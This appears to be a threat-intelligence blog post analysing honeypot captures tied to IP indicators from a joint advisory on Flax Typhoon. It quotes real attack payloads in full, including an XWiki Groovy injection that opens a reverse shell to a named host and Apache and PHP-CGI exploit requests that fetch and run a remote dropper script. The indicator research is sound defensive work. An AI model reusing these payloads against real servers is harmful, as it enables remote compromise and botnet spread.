Expanding Visibility Into Chinese Government-linked Cyber Threat Actors

Key Takeaways

• Some of the joint advisory's IOCs are still live and repurposed. Three IPs were hitting VulnCheck Canaries as recently as May 2026, years after their advisory last-seen dates, but against entirely different vulnerabilities than the advisory lists.
• Two very different operators. The Taiwan IPs run hands-on XWiki (CVE-2025-24893) exploitation that escalates to reverse shells. The Hong Kong IP is a RedTail-family botnet whose dropper is shared with 177 non-advisory hosts.
• One IOC becomes many. Pivoting on C2 details exposed in canary payloads surfaced net-new infrastructure the advisory never listed, including two more operator IPs and C2 (155.138.212.170).

On October 8th, 2026, the FBI, CISA, NSA, NCSC-UK and partner agencies in Australia, Canada, Japan, New Zealand, and Spain published a joint advisory, Chinese Government-linked Cyber Threat Actors Combine Automated and Hands-on Hacking Tools to Steal Sensitive Data. It details how actors enabled by Integrity Technology Group (Linked to Flax Typhoon/Ethereal Panda) pair automated scanning and large-scale botnets with hands-on exploitation to steal sensitive data from organizations worldwide.

So, we explored what additional insight VulnCheck Canary Intelligence provides into this threat activity, including more recently used IOCs such as IPs, CVEs, and C2 infrastructure potentially used by the threat actor. VulnCheck Canaries are real vulnerable hosts that capture real-world exploitation as it happens.

Looking at the Exploited Vulnerabilities in the Advisory

First, we took a look at the exploited vulnerabilities and cross referenced them against the VulnCheck KEV to see when evidence of exploitation was first available and what additional threat activity we have across other VulnCheck threat feeds.

So, five of the eight vulnerabilities were previously known to be exploited prior to this report. Four were known to be exploited years prior to the report. Two of which were known to be associated with Botnets or Ransomware campaigns. So, the report provided insight into 3 additional vulnerabilities that hadn’t been reported as exploited in the wild publicly. The activity we see targeting CVE-2021-22205 appears to be the Rondodox botnet likely unrelated to Flax Typhoon.

Looking at Active Exploitation from IP Address IOCs Across VulnCheck Canaries

Next, we pulled the IOCs from the IP Addresses table in the report and checked them against the VulnCheck Canary observations, which (as we mentioned above) are real vulnerable hosts, to see what evidence we had of exploitation activity from those indicators.

Three of the IP addresses from the advisory surfaced attacks against the Canaries:

The advisory cautions that many of its IOCs are old, with some dating back to 2016, and recommends vetting them before taking action such as blocking. These Canary results help with that vetting. Each of these three IPs were last seen in the advisory between March 2023 and May 2024, yet all three appear in our Canary data well after those dates, most recently in May 2026. That suggests these specific indicators are still in use and I was curious to see if we see activity using the same vulnerabilities that would confirm this is the same campaign or a new one.

What Vulnerabilities Are the Attackers Targeting?

Next, we explored which vulnerabilities these hosts were targeting across VulnCheck Canary Intelligence, along with the source and destination countries for each attack grouping. The interesting thing is that none of the vulnerabilities we see being targeted across these IOCs overlap with those listed in the joint advisory, which leads us to believe the hosts have likely been repurposed for new campaigns.

Across the three IPs, we saw attempts against five vulnerabilities: PHPUnit (CVE-2017-9841), XWiki (CVE-2025-24893), Apache HTTP Server (CVE-2021-41773), PHP-CGI (CVE-2024-4577), and ThinkPHP (CVE-2022-47945).

Interestingly enough, in late 2025, Jacob Baines published research, XWiki Under Increased Attack after we started seeing increased activity from a broad number of actors targeting CVE-2025-24893.

The attacks originated from both Hong Kong and Taiwan. The Hong Kong IP exploited targets in Mexico, Great Britain, and Malaysia, while the Taiwan IPs exploited targets in India.

The infrastructure appears to still be live, well past the advisory's last-seen dates. However, the vulnerabilities we see being targeted don't overlap with the advisory's, and several match exploitation patterns attributed to commodity botnets. That leaves us wanting a deeper look at the activity we're seeing.

Digging Into the Attack Activity Across the Three IOCs

Once we had the confirmed exploitation activity on the IOCs, we decided to take a look at the payloads behind them. They split into two clusters.

Cluster A: Hands-on XWiki Exploitation

The two Taiwan IPs, 211.20.144.116 and 210.242.76.32, are a mix of python-requests/2.32.5 and a spoofed Chrome (Windows) user-agent. This looks a lot like the activity outlined in the joint advisory, though it targets a different and newer vulnerability in XWiki (CVE-2025-24893).

{
      "src_ip": "211.20.144.116",
      "src_port": 47610,
      "src_country": "TW",
      "src_asn": "AS3462",
      "src_as_name": "Data Communication Business Group",
      "src_as_domain": "hinet.net",
      "dst_country": "IN",
      "cve": "CVE-2025-24893",
      "signature_id": 12700499,
      "signature": "VULNCHECK XWiki CVE-2025-24893 Exploit Attempt (Groovy)",
      "category": "Web Application Attack",
      "severity": 1,
      "payload": "R0VUIC9iaW4vZ2V0L01haW4vU29sclNlYXJjaD9tZWRpYT1yc3MmdGV4dD0lN0QlN0QlN0QlN0IlN0Jhc3luYyUyMGFzeW5jJTNEZmFsc2UlN0QlN0QlN0IlN0Jncm9vdnklN0QlN0RwcmludGxuKCUyMiUyRmJpbiUyRmJhc2grLWkrJTNFJTI2KyUyRmRldiUyRnRjcCUyRjE1NS4xMzguMjEyLjE3MCUyRjkwMDErMCUzRSUyNjElMjIuZXhlY3V0ZSgpLnRleHQpJTdCJTdCJTJGZ3Jvb3Z5JTdEJTdEJTdCJTdCJTJGYXN5bmMlN0QlN0QgSFRUUC8xLjENCkhvc3Q6IFZDX1JFREFDVEVEDQpVc2VyLUFnZW50OiBweXRob24tcmVxdWVzdHMvMi4zMi41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUsIHpzdGQNCkFjY2VwdDogKi8qDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg==",
      "http": {
        "url": "/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22%2Fbin%2Fbash+-i+%3E%26+%2Fdev%2Ftcp%2F155.138.212.170%2F9001+0%3E%261%22.execute().text)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D",
        "http_user_agent": "python-requests/2.32.5",
        "http_method": "GET",
        "protocol": "HTTP/1.1"
      },
      "timestamp": "2025-11-11T08:06:41.65Z"
    }

The payloads escalate from validation (println('EXPLOIT_SUCCESS'), cat /etc/passwd) to reverse shells. One request went out with an unfilled template placeholder in the reverse shell address, which tells us they're running a scripted exploit tool. When the template was filled in, it leaked the C2, 155.138.212.170. A pivot on that IP produced nine additional Canary hits exploiting the same XWiki vulnerability.

Cluster B: An Automated Botnet

The Hong Kong IP, 119.13.79.145, is commodity botnet activity. All four of its CVEs used the same user-agent, libredtail-http, a non-browser UA associated with RedTail-family malware, and that UA shows up across roughly 5,200 source IPs, so it's a widespread worm rather than a bespoke tool.

The Apache (CVE-2021-41773) and PHP-CGI (CVE-2024-4577) attempts deliver the same second stage: a wget/curl one-liner that pulls a shell script from 121.176.14.102 and runs it with a selfrep argument. The PHP version just base64-wraps it. Same dropper and server, one payload adapted to two exploits, and the selfrep tag points to self-replication. The part I’m curious about is if Flax Typhoon is the actual operator.

{
      "src_ip": "119.13.79.145",
      "src_port": 46528,
      "src_country": "HK",
      "src_asn": "AS136907", 
      "src_as_name": "HUAWEI CLOUDS",
      "src_as_domain": "huaweicloud.com",
      "dst_country": "GB",
      "cve": "CVE-2021-41773",
      "signature_id": 12700024,
      "signature": "VULNCHECK CVE-2021-41773 Apache HTTP Server Remote Code Execution Attempt",
      "category": "Web Application Attack",
      "severity": 1,
      "payload": "UE9TVCAvY2dpLWJpbi8uJTJlLy4lMmUvLiUyZS8uJTJlLy4lMmUvLiUyZS8uJTJlLy4lMmUvLiUyZS8uJTJlL2Jpbi9zaCBIVFRQLzEuMQ0KSG9zdDogVkNfUkVEQUNURUQNClVwZ3JhZGUtSW5zZWN1cmUtUmVxdWVzdHM6IDENCkFjY2VwdDogKi8qDQpVc2VyLUFnZW50OiBsaWJyZWR0YWlsLWh0dHANCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbg0KQ29udGVudC1MZW5ndGg6IDEyMQ0KDQood2dldCAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC1xTy0gaHR0cHM6Ly8xMjEuMTc2LjE0LjEwMi9zaCB8fCBjdXJsIC1zayBodHRwczovLzEyMS4xNzYuMTQuMTAyL3NoKSB8IHNoIC1zIGFwYWNoZS5zZWxmcmVwUE9TVCAvY2dpLWJpbi8lJTMyJTY1JSUzMiU2NS8lJTMyJTY1JSUzMiU2NS8lJTMyJTY1JSUzMiU2NS8lJTMyJTY1JSUzMiU2NS8lJTMyJTY1JSUzMiU2NS8lJTMyJTY1JSUzMiU2NS8lJTMyJTY1JSUzMiU2NS9iaW4vc2ggSFRUUC8xLjENCkhvc3Q6IFZDX1JFREFDVEVEDQpVcGdyYWRlLUluc2VjdXJlLVJlcXVlc3RzOiAxDQpBY2NlcHQ6ICovKg0KVXNlci1BZ2VudDogbGlicmVkdGFpbC1odHRwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4NCkNvbnRlbnQtTGVuZ3RoOiAxMjENCg0KKHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMTIxLjE3Ni4xNC4xMDIvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8xMjEuMTc2LjE0LjEwMi9zaCkgfCBzaCAtcyBhcGFjaGUuc2VsZnJlcA==",
      "http": {
        "url": "/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh",
        "http_user_agent": "libredtail-http",
        "http_request_body": "KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMTIxLjE3Ni4xNC4xMDIvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8xMjEuMTc2LjE0LjEwMi9zaCkgfCBzaCAtcyBhcGFjaGUuc2VsZnJlcA==",
        "http_method": "POST",
        "protocol": "HTTP/1.1"
      }

The Apache payload also includes a second request using double encoding, which targets CVE-2021-42013, a bypass for the incomplete fix to CVE-2021-41773. Over the weekend, we added a signature for exploitation of CVE-2021-42013, and it's already seeing hits, just not from the IOCs in the report. The scanner appears to be covering both vulnerable Apache versions in a single attempt.

The PHPUnit and ThinkPHP requests are vulnerability checks that ride in the same connections as the exploit requests, after them rather than before, the PHPUnit probe closes out the stream shown below.

• PHPUnit: the body is identical on every hit, an md5 of "Hello PHPUnit". The "30 distinct payloads" differ only by URL path (/crm/, /laravel/, /app/, /blog/, and so on): the same check run against dozens of install locations to see if the host is vulnerable.
• ThinkPHP: it writes an md5 test file via pearcmd.

{
      "src_ip": "119.13.79.145",
      "src_port": 46528,
      "src_country": "HK",
      "src_asn": "AS136907",
      "src_as_name": "HUAWEI CLOUDS",
      "src_as_domain": "huaweicloud.com",
      "dst_country": "GB",
      "cve": "CVE-2017-9841",
      "signature_id": 12700264,
      "signature": "VULNCHECK PHPUnit CVE-2017-9841 Exploit Attempt",
      "category": "Web Application Attack",
      "severity": 1,
      "payload": "UE9TVCAvY2dpLWJpbi8uJTJlLy4lMmUvLiUyZS8uJTJlLy4lMmUvLiUyZS8uJTJlLy4lMmUvLiUyZS8uJTJlL2Jpbi9zaCBIVFRQLzEuMQ0KSG9zdDogVkNfUkVEQUNURUQNClVwZ3JhZGUtSW5zZWN1cmUtUmVxdWVzdHM6IDENCkFjY2VwdDogKi8qDQpVc2VyLUFnZW50OiBsaWJyZWR0YWlsLWh0dHANCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbg0KQ29udGVudC1MZW5ndGg6IDEyMQ0KDQood2dldCAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC1xTy0gaHR0cHM6Ly8xMjEuMTc2LjE0LjEwMi9zaCB8fCBjdXJsIC1zayBodHRwczovLzEyMS4xNzYuMTQuMTAyL3NoKSB8IHNoIC1zIGFwYWNoZS5zZWxmcmVwUE9TVCAvY2dpLWJpbi8lJTMyJTY1JSUzMiU2NS8lJTMyJTY1JSUzMiU2NS8lJTMyJTY1JSUzMiU2NS8lJTMyJTY1JSUzMiU2NS8lJTMyJTY1JSUzMiU2NS8lJTMyJTY1JSUzMiU2NS8lJTMyJTY1JSUzMiU2NS9iaW4vc2ggSFRUUC8xLjENCkhvc3Q6IFZDX1JFREFDVEVEDQpVcGdyYWRlLUluc2VjdXJlLVJlcXVlc3RzOiAxDQpBY2NlcHQ6ICovKg0KVXNlci1BZ2VudDogbGlicmVkdGFpbC1odHRwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4NCkNvbnRlbnQtTGVuZ3RoOiAxMjENCg0KKHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMTIxLjE3Ni4xNC4xMDIvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8xMjEuMTc2LjE0LjEwMi9zaCkgfCBzaCAtcyBhcGFjaGUuc2VsZnJlcFBPU1QgL2hlbGxvLndvcmxkPyVBRGQrYWxsb3dfdXJsX2luY2x1ZGUlM2QxKyVBRGQrYXV0b19wcmVwZW5kX2ZpbGUlM2RwaHA6Ly9pbnB1dCBIVFRQLzEuMQ0KSG9zdDogVkNfUkVEQUNURUQNClVwZ3JhZGUtSW5zZWN1cmUtUmVxdWVzdHM6IDENCkFjY2VwdDogKi8qDQpVc2VyLUFnZW50OiBsaWJyZWR0YWlsLWh0dHANCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogMjQ1DQoNCjw/cGhwIHNoZWxsX2V4ZWMoYmFzZTY0X2RlY29kZSgiS0hkblpYUWdMUzF1YnkxamFHVmpheTFqWlhKMGFXWnBZMkYwWlNBdGNVOHRJR2gwZEhCek9pOHZNVEl4TGpFM05pNHhOQzR4TURJdmMyZ2dmSHdnWTNWeWJDQXRjMnNnYUhSMGNITTZMeTh4TWpFdU1UYzJMakUwTGpFd01pOXphQ2tnZkNCemFDQXRjeUJqZG1WZk1qQXlORjgwTlRjM0xuTmxiR1p5WlhBPSIpKTsgZWNobyhtZDUoIkhlbGxvIENWRS0yMDI0LTQ1NzciKSk7ID8+UE9TVCAvPyVBRGQrYWxsb3dfdXJsX2luY2x1ZGUlM2QxKyVBRGQrYXV0b19wcmVwZW5kX2ZpbGUlM2RwaHA6Ly9pbnB1dCBIVFRQLzEuMQ0KSG9zdDogVkNfUkVEQUNURUQNClVwZ3JhZGUtSW5zZWN1cmUtUmVxdWVzdHM6IDENCkFjY2VwdDogKi8qDQpVc2VyLUFnZW50OiBsaWJyZWR0YWlsLWh0dHANCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogMjQ1DQoNCjw/cGhwIHNoZWxsX2V4ZWMoYmFzZTY0X2RlY29kZSgiS0hkblpYUWdMUzF1YnkxamFHVmpheTFqWlhKMGFXWnBZMkYwWlNBdGNVOHRJR2gwZEhCek9pOHZNVEl4TGpFM05pNHhOQzR4TURJdmMyZ2dmSHdnWTNWeWJDQXRjMnNnYUhSMGNITTZMeTh4TWpFdU1UYzJMakUwTGpFd01pOXphQ2tnZkNCemFDQXRjeUJqZG1WZk1qQXlORjgwTlRjM0xuTmxiR1p5WlhBPSIpKTsgZWNobyhtZDUoIkhlbGxvIENWRS0yMDI0LTQ1NzciKSk7ID8+R0VUIC92ZW5kb3IvcGhwdW5pdC9waHB1bml0L3NyYy9VdGlsL1BIUC9ldmFsLXN0ZGluLnBocCBIVFRQLzEuMQ0KSG9zdDogVkNfUkVEQUNURUQNClVwZ3JhZGUtSW5zZWN1cmUtUmVxdWVzdHM6IDENCkFjY2VwdDogKi8qDQpVc2VyLUFnZW50OiBsaWJyZWR0YWlsLWh0dHANCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbg0KQ29udGVudC1MZW5ndGg6IDMzDQoNCjw/cGhwIGVjaG8obWQ1KCJIZWxsbyBQSFBVbml0IikpOw==",
      "http": {
        "url": "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
        "http_user_agent": "libredtail-http",
        "http_request_body": "PD9waHAgZWNobyhtZDUoIkhlbGxvIFBIUFVuaXQiKSk7",
        "http_method": "GET",
        "protocol": "HTTP/1.1"
      },
      "timestamp": "2026-05-18T00:28:33.942Z"
    }

Expanding IOCs from Shared C2 Infrastructure

Next, we wanted to see what additional IOCs we could uncover by researching 155.138.212.170 and 121.176.14.102.

We haven't seen any activity from 121.176.14.102 across our Canaries, but we do see exploitation activity from 155.138.212.170. So we searched for both IPs within other payloads to see whether any other infrastructure uses the same C2.

C2: 155.138.212.170 (US IP / Vultr)

Searching across the entire dataset’s payload for this C2 turns up two additional IPs, both targeting the same XWiki CVE (CVE-2025-24893):

For example, customers can look up one of the net-new IPs directly in the Canary index:

https://api.vulncheck.com/v3/index/vulncheck-canaries?cidr=118.99.141.178/32

C2: 121.176.14.102 (Korean IP / Korea Telecom)

We found 178 unique IPs with this address in their payload, and all of them target the same set of vulnerabilities and as recent as 2026-08-05. None of these IPs except the one we started with (119.13.79.145) are listed as IOCS in the joint advisory, which makes us question if Flax Typhoon is the operator or if this infrastructure may have been compromised by a botnet, which seems more likely. I wouldn’t rule out either since Flax Typhoon has been known to operate wide scale botnet operations in the past.

Final Thoughts

Looking back at the joint advisory, the intelligence it discloses, while older, gives valuable insight into the operations of Flax Typhoon. Its indicators gave us visibility across VulnCheck Canary Intelligence into more recent activity, including newer vulnerabilities targeted from the same infrastructure and new infrastructure we learned about from exposed C2 details. We can expect Flax Typhoon and the PRC to remain active and continue to add new capabilities to their operations.

About VulnCheck

VulnCheck is helping organizations not just to solve the vulnerability prioritization challenge - we’re working to help equip any product manager, CSIRT/PSIRT or SecOps team and Threat Hunting team to get faster and more accurate with infinite efficiency using VulnCheck solutions.

We knew that we needed better data, faster across the board, in our industry. So that’s what we deliver to the market. We’re going to continue to deliver key insights on vulnerability management, exploitation and major trends we can extrapolate from our dataset to continuously support practitioners.

Are you interested in learning more? If so, VulnCheck's Exploit & Vulnerability Intelligence has broad threat actor coverage. Register and demo our data today.